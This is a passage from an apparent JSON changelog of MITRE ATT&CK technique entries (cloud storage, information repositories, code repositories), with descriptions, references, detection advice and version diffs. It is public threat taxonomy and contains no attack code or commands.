system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1565/003", + "external_id": "T1565.003" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Deletion", + "Process: OS API Execution", + "File: File Metadata", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"Administrator\", \"root\", \"SYSTEM\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 18:21:43.760000+00:00\", \"old_value\": \"2022-03-25 19:24:18.545000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf\", \"old_value\": \"https://content.fireeye.com/apt/rpt-apt38\", \"new_path\": \"root['external_references'][2]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1030: Network Segmentation" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 18:07:27.741000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Data from Cloud Storage", + "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1530", + "external_id": "T1530" + }, + { + "source_name": "Amazon S3 Security, 2019", + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/" + }, + { + "source_name": "Microsoft Azure Storage Security, 2019", + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide" + }, + { + "source_name": "Wired Magecart S3 Buckets, 2019", + "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.", + "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/" + }, + { + "source_name": "Google Cloud Storage Best Practices, 2019", + "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.", + "url": "https://cloud.google.com/storage/docs/best-practices" + }, + { + "source_name": "HIPAA Journal S3 Breach, 2017", + "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.", + "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/" + }, + { + "source_name": "Rclone-mega-extortion_05_2021", + "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.", + "url": "https://redcanary.com/blog/rclone-mega-extortion/" + }, + { + "source_name": "Trend Micro S3 Exposed PII, 2017", + "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Netskope", + "Praetorian", + "AppOmni", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Metadata", + "Cloud Storage: Cloud Storage Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-09-29 16:11:43.530000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][3]\": \"Arun Seelagan, CISA\", \"root['x_mitre_data_sources'][0]\": \"Cloud Service: Cloud Service Metadata\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1032: Multi-factor Authentication", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0010: Cloud Storage (Cloud Storage Access)" + ], + "new": [ + "DS0025: Cloud Service (Cloud Service Metadata)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-28 19:10:16.960000+00:00", + "name": "Data from Information Repositories", + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213", + "external_id": "T1213" + }, + { + "source_name": "Mitiga", + "description": "Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.", + "url": "https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + }, + { + "source_name": "TrendMicro Exposed Redis 2020", + "description": "David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.", + "url": "https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + }, + { + "source_name": "Sharepoint Sharing Events", + "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events" + }, + { + "source_name": "Cybernews Reuters Leak 2022", + "description": "Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.", + "url": "https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Praetorian", + "Milos Stojadinovic", + "Isif Ibrahima, Mandiant", + "Obsidian Security", + "Naveen Vijayaraghavan", + "Nilesh Dherange (Gurucul)" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "3.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-28 19:10:16.960000+00:00\", \"old_value\": \"2024-03-01 16:27:47.391000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \\n\\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \\n\\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\\n\\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \\n* Collaboration platforms such as SharePoint, Confluence, and code repositories\\n* Messaging platforms such as Slack and Microsoft Teams \\n\\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)\", \"old_value\": \"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \\n\\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \\n+Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \\n \\n The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\\n \\n@@ -6,9 +6,16 @@\\n * Physical / logical network diagrams\\n * System architecture diagrams\\n * Technical system documentation\\n-* Testing / development credentials\\n+* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \\n * Work / project schedules\\n * Source code snippets\\n * Links to network shares and other internal resources\\n+* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \\n \\n-Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.\\n+Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\\n+\\n+* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \\n+* Collaboration platforms such as SharePoint, Confluence, and code repositories\\n+* Messaging platforms such as Slack and Microsoft Teams \\n+\\n+In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.4\", \"old_value\": \"3.3\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Mitiga\", \"description\": \"Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \\u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.\", \"url\": \"https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots\"}, \"root['external_references'][3]\": {\"source_name\": \"TrendMicro Exposed Redis 2020\", \"description\": \"David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.\", \"url\": \"https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html\"}, \"root['external_references'][6]\": {\"source_name\": \"Cybernews Reuters Leak 2022\", \"description\": \"Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.\", \"url\": \"https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/\"}, \"root['x_mitre_contributors'][4]\": \"Obsidian Security\", \"root['x_mitre_contributors'][5]\": \"Naveen Vijayaraghavan\", \"root['x_mitre_contributors'][6]\": \"Nilesh Dherange (Gurucul)\"}, \"iterable_item_removed\": {\"root['x_mitre_contributors'][0]\": \"Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)\", \"root['x_mitre_platforms'][4]\": \"Office 365\"}}", + "previous_version": "3.3", + "version_change": "3.3 \u2192 3.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage information repositories to mine vat1Adversaries may leverage information repositories to mine va
>luable information. Information repositories are tools that >luable information. Information repositories are tools that 
>allow for storage of information, typically to facilitate co>allow for storage of information, typically to facilitate co
>llaboration or information sharing between users, and can st>llaboration or information sharing between users, and can st
>ore a wide variety of data that may aid adversaries in furth>ore a wide variety of data that may aid adversaries in furth
>er objectives, or direct access to the target information. A>er objectives, such as Credential Access, Lateral Movement, 
>dversaries may also abuse external sharing features to share>or Defense Evasion, or direct access to the target informati
> sensitive documents with recipients outside of the organiza>on. Adversaries may also abuse external sharing features to 
>tion.   The following is a brief list of example information>share sensitive documents with recipients outside of the org
> that may hold potential value to an adversary and may also >anization (i.e., [Transfer Data to Cloud Account](https://at
>be found on an information repository:  * Policies, procedur>tack.mitre.org/techniques/T1537)).   The following is a brie
>es, and standards * Physical / logical network diagrams * Sy>f list of example information that may hold potential value 
>stem architecture diagrams * Technical system documentation >to an adversary and may also be found on an information repo
>* Testing / development credentials * Work / project schedul>sitory:  * Policies, procedures, and standards * Physical / 
>es * Source code snippets * Links to network shares and othe>logical network diagrams * System architecture diagrams * Te
>r internal resources  Information stored in a repository may>chnical system documentation * Testing / development credent
> vary based on the specific instance or environment. Specifi>ials (i.e., [Unsecured Credentials](https://attack.mitre.org
>c common information repositories include web-based platform>/techniques/T1552))  * Work / project schedules * Source cod
>s such as [Sharepoint](https://attack.mitre.org/techniques/T>e snippets * Links to network shares and other internal reso
>1213/002) and [Confluence](https://attack.mitre.org/techniqu>urces * Contact or other sensitive information about busines
>es/T1213/001), specific services such as Code Repositories, >s partners and customers, including personally identifiable 
>IaaS databases, enterprise databases, and other storage infr>information (PII)   Information stored in a repository may v
>astructure such as SQL Server.>ary based on the specific instance or environment. Specific 
 >common information repositories include the following:  * St
 >orage services such as IaaS databases, enterprise databases,
 > and more specialized platforms such as customer relationshi
 >p management (CRM) databases  * Collaboration platforms such
 > as SharePoint, Confluence, and code repositories * Messagin
 >g platforms such as Slack and Microsoft Teams   In some case
 >s, information repositories have been improperly secured, ty
 >pically by unintentionally allowing for overly-broad access 
 >by all users or even public access to unauthenticated users.
 > This is particularly common with cloud-native or cloud-host
 >ed services, such as AWS Relational Database Service (RDS), 
 >Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMi
 >cro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 202
 >2)
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [ + "M1041: Encrypt Sensitive Information", + "M1054: Software Configuration", + "M1060: Out-of-Band Communications Channel" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-05-11 18:51:16.343000+00:00", + "modified": "2024-09-04 13:03:54.101000+00:00", + "name": "Code Repositories", + "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/003", + "external_id": "T1213.003" + }, + { + "source_name": "Wired Uber Breach", + "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.", + "url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/" + }, + { + "source_name": "Krebs Adobe", + "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.", + "url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom", + "Toby Kohlenberg", + "Josh Liburdi, @jshlbrd" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 13:03:54.101000+00:00\", \"old_value\": \"2022-10-18 22:44:01.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\\n\\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\\n\\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.\", \"old_value\": \"Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\\n\\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\\n\\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\\n \\n-Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\\n+Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\\n \\n **Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage code repositories to collect valuabt1Adversaries may leverage code repositories to collect valuab
